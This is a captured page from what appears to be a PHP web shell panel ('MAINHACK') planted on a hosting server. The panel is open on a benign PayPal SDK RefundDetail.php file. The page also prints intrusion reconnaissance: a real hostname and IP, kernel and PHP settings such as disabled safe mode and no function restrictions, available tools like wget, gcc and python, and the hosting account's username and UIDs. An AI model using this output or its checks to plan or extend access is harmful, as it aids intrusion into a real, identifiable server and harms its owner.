[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: RefundDetail.php
<?php namespace PayPal\Api; use PayPal\Common\PayPalModel; /** * Class RefundDetail * * Invoicing refund information. * * @package PayPal\Api * * @property string type * @property string transaction_id * @property string date * @property string note * @property \PayPal\Api\Currency amount */ class RefundDetail extends PayPalModel { /** * The PayPal refund type. Indicates whether refund was paid in invoicing flow through PayPal or externally. In the case of mark-as-refunded API, the supported refund type is `EXTERNAL`. For backward compatability, the `PAYPAL` refund type is still supported. * Valid Values: ["PAYPAL", "EXTERNAL"] * * @param string $type * * @return $this */ public function setType($type) { $this->type = $type; return $this; } /** * The PayPal refund type. Indicates whether refund was paid in invoicing flow through PayPal or externally. In the case of mark-as-refunded API, the supported refund type is `EXTERNAL`. For backward compatability, the `PAYPAL` refund type is still supported. * * @return string */ public function getType() { return $this->type; } /** * The PayPal refund transaction ID. Required with the `PAYPAL` refund type. * * @param string $transaction_id * * @return $this */ public function setTransactionId($transaction_id) { $this->transaction_id = $transaction_id; return $this; } /** * The PayPal refund transaction ID. Required with the `PAYPAL` refund type. * * @return string */ public function getTransactionId() { return $this->transaction_id; } /** * Date on which the invoice was refunded. Date format: yyyy-MM-dd z. For example, 2014-02-27 PST. * * @param string $date * * @return $this */ public function setDate($date) { $this->date = $date; return $this; } /** * Date on which the invoice was refunded. Date format: yyyy-MM-dd z. For example, 2014-02-27 PST. * * @return string */ public function getDate() { return $this->date; } /** * Optional note associated with the refund. * * @param string $note * * @return $this */ public function setNote($note) { $this->note = $note; return $this; } /** * Optional note associated with the refund. * * @return string */ public function getNote() { return $this->note; } /** * Amount to be recorded as refund against invoice. If this field is not passed, the total invoice paid amount is recorded as refund. * * @param \PayPal\Api\Currency $amount * * @return $this */ public function setAmount($amount) { $this->amount = $amount; return $this; } /** * Amount to be recorded as refund against invoice. If this field is not passed, the total invoice paid amount is recorded as refund. * * @return \PayPal\Api\Currency */ public function getAmount() { return $this->amount; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285